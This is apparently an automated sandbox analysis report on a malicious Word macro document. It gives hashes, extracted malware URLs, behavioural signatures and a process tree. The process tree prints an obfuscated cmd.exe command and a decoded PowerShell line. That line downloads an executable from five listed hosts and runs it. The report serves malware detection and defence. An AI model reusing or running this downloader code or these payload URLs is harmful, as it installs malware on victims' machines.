Analysis
-
max time kernel
174s -
max time network
180s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
19/04/2022, 04:18
Static task
static1
Behavioral task
behavioral1
Sample
eidyhres.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
eidyhres.doc
Resource
win10v2004-20220414-en
General
-
Target
eidyhres.doc
-
Size
106KB
-
MD5
30326e79afdba5026d51ab50b37939d2
-
SHA1
b4b420c4a464d12f62b94c65aff4ba230c95f3f2
-
SHA256
403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704
-
SHA512
9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce
Malware Config
Extracted
http://amedion.net/uNMU39B
http://biciculturabcn.com/6s97jYza
http://valenetinternet.com.br/3Rdtv
http://goshowcar.com/9RVqaX
http://wheelbalancetraining.com/9il
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4568 5008 Cmd.exe 78 -
Blocklisted process makes network request 1 IoCs
flow pid Process 16 4536 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 4568 Cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 5008 WINWORD.EXE 5008 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4536 powershell.exe 4536 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4536 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 5008 WINWORD.EXE 5008 WINWORD.EXE 5008 WINWORD.EXE 5008 WINWORD.EXE 5008 WINWORD.EXE 5008 WINWORD.EXE 5008 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 5008 wrote to memory of 4568 5008 WINWORD.EXE 79 PID 5008 wrote to memory of 4568 5008 WINWORD.EXE 79 PID 4568 wrote to memory of 4536 4568 Cmd.exe 81 PID 4568 wrote to memory of 4536 4568 Cmd.exe 81
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eidyhres.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\SYSTEM32\Cmd.exeCmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4536
-
-